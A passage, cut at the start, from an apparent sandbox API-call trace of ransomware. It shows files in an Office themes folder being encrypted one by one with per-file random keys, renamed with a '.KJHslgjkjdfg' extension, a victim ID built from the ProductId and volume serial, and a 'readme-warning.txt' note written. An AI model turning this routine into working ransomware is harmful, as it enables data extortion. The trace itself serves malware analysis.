out: hHeap=0x2a0000) returned 1 [0147.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.839] CloseHandle (hObject=0x118) returned 1 [0147.839] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0147.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.841] GetProcessHeap () returned 0x2a0000 [0147.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.841] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.841] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.841] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.843] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.843] GetProcessHeap () returned 0x2a0000 [0147.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.843] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.843] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.844] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.844] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.844] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.844] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.844] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.844] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1205e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1205e, lpOverlapped=0x0) returned 1 [0147.846] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x12060, dwBufLen=0x12060 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x12060) returned 1 [0147.847] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.847] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12060, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x12060, lpOverlapped=0x0) returned 1 [0147.847] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.847] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x12134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.847] SetEndOfFile (hFile=0x118) returned 1 [0147.850] GetProcessHeap () returned 0x2a0000 [0147.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.850] GetProcessHeap () returned 0x2a0000 [0147.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.kjhslgjkjdfg")) returned 1 [0147.857] CloseHandle (hObject=0x118) returned 1 [0147.857] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0147.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.858] GetProcessHeap () returned 0x2a0000 [0147.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.858] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.858] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.858] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0147.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.860] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.860] GetProcessHeap () returned 0x2a0000 [0147.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.860] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.860] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.860] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.860] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.860] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.861] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.861] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.861] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.861] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.861] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.861] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.861] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x239, lpOverlapped=0x0) returned 1 [0147.861] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x240, dwBufLen=0x240 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x240) returned 1 [0147.861] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.861] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x240, lpOverlapped=0x0) returned 1 [0147.861] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.861] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.861] SetEndOfFile (hFile=0x118) returned 1 [0147.863] GetProcessHeap () returned 0x2a0000 [0147.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.864] GetProcessHeap () returned 0x2a0000 [0147.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.kjhslgjkjdfg")) returned 1 [0147.869] CloseHandle (hObject=0x118) returned 1 [0147.870] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.870] GetProcessHeap () returned 0x2a0000 [0147.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.871] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.871] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.871] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.876] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.876] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.876] GetProcessHeap () returned 0x2a0000 [0147.876] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.876] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.876] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.876] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.876] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.876] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.876] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.877] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.877] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.877] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.877] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.877] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcf7b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xcf7b, lpOverlapped=0x0) returned 1 [0147.880] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xcf80, dwBufLen=0xcf80 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xcf80) returned 1 [0147.881] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.881] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xcf80, lpOverlapped=0x0) returned 1 [0147.881] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.881] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xd054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.881] SetEndOfFile (hFile=0x118) returned 1 [0147.885] GetProcessHeap () returned 0x2a0000 [0147.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.885] GetProcessHeap () returned 0x2a0000 [0147.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.889] CloseHandle (hObject=0x118) returned 1 [0147.889] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.889] GetProcessHeap () returned 0x2a0000 [0147.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.889] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.889] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.889] GetProcessHeap () returned 0x2a0000 [0147.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.889] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.889] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.889] GetProcessHeap () returned 0x2a0000 [0147.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.889] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.889] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.889] GetProcessHeap () returned 0x2a0000 [0147.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.890] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.890] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.890] GetProcessHeap () returned 0x2a0000 [0147.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.890] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.890] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.890] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.890] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.890] RegCloseKey (hKey=0x118) returned 0x0 [0147.890] GetProcessHeap () returned 0x2a0000 [0147.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.890] GetProcessHeap () returned 0x2a0000 [0147.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.890] GetProcessHeap () returned 0x2a0000 [0147.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.890] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.890] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.890] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.890] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.891] GetProcessHeap () returned 0x2a0000 [0147.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.891] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.891] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.891] GetProcessHeap () returned 0x2a0000 [0147.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.891] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\readme-warning.txt") returned 83 [0147.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.892] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 